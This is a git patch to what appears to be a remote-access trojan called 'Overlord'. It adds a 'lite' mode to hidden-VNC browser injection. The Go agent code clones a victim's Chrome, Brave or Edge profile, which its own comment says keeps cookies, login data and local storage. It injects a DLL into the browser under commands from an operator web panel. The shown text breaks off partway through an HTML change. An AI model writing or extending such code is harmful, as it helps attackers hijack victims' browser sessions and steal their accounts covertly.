From 3c7f78d7d00bb750945810ed389634976acedee6 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 12 Mar 2026 01:06:57 -0500 Subject: [PATCH] add lite mode injections --- .../cmd/agent/capture/hvnc_inject_windows.go | 35 ++++++++++++++++--- Overlord-Client/cmd/agent/handlers/command.go | 8 +++-- Overlord-Server/public/assets/hvnc.js | 9 +++-- Overlord-Server/public/hvnc.html | 4 +++ .../src/server/ws-console-rd-hvnc.ts | 1 + 5 files changed, 48 insertions(+), 9 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index bfcac20..3193bba 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -118,7 +118,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl // If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is false, it starts the browser with injection but no path redirection. // browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error { info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { return fmt.Errorf("unknown browser %q", browser) @@ -142,7 +142,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } log.Printf("hvnc %s: real user data at %s", info.name, realUserData) - cloneDir, err := cloneBrowserProfile(info.name, realUserData) + cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite) if err != nil { return fmt.Errorf("profile clone failed: %v", err) } @@ -153,7 +153,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false) } type browserInfo struct { @@ -225,7 +225,7 @@ func getBrowserUserDataDir(info browserInfo) string { // cloneBrowserProfile clones the browser user data directory, skipping only // large cache directories that aren't needed for a functional session. // This preserves extensions, cookies, login data, local storage, etc. -func cloneBrowserProfile(browserName string, srcUserData string) (string, error) { +func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (string, error) { prefix := "hvnc_" + strings.ToLower(browserName) + "_" // Remove any previous cloned profile directories so we always use fresh data tmpDir := os.TempDir() @@ -258,6 +258,33 @@ func cloneBrowserProfile(browserName string, srcUserData string) (string, error) "commerce_local_db": true, } + if lite { + log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName) + liteSkip := []string{ + "extensions", + "extension state", + "extension scripts", + "extension rules", + "local extension settings", + "sync extension settings", + "indexeddb", + "file system", + "session storage", + "sessions", + "sync data", + "web applications", + "webrtc internals", + "databases", + "platform notifications", + "gcm store", + "storage", + "feature_engagement_tracker", + } + for _, d := range liteSkip { + skipDirs[d] = true + } + } + entries, err := os.ReadDir(srcUserData) if err != nil { return "", fmt.Errorf("read user data dir: %v", err) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 8d8e698..aba2dab 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1339,6 +1339,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in browser := "" exePath := "" clone := true + cloneLite := false if payload != nil { if v, ok := payload["browser"].(string); ok { browser = v @@ -1349,6 +1350,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["clone"].(bool); ok { clone = v } + if v, ok := payload["cloneLite"].(bool); ok { + cloneLite = v + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { @@ -1359,10 +1363,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } - log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes)) + log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_browser_injected", nil, func() { - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil { + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 252ada4..92df2f3 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -747,13 +747,16 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; sendCmd("hvnc_start_process", { path: "conhost powershell.exe" }); } else if (action === "start-chrome") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone }); + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite }); } else if (action === "start-brave") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "brave", clone }); + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite }); } else if (action === "start-edge") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "edge", clone }); + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite }); } else if (action === "start-custom") { const exePath = prompt("Enter exe path (required)"); if (!exePath) { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 5e975c6..c190e6e 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -156,6 +156,10 @@ Clone profile +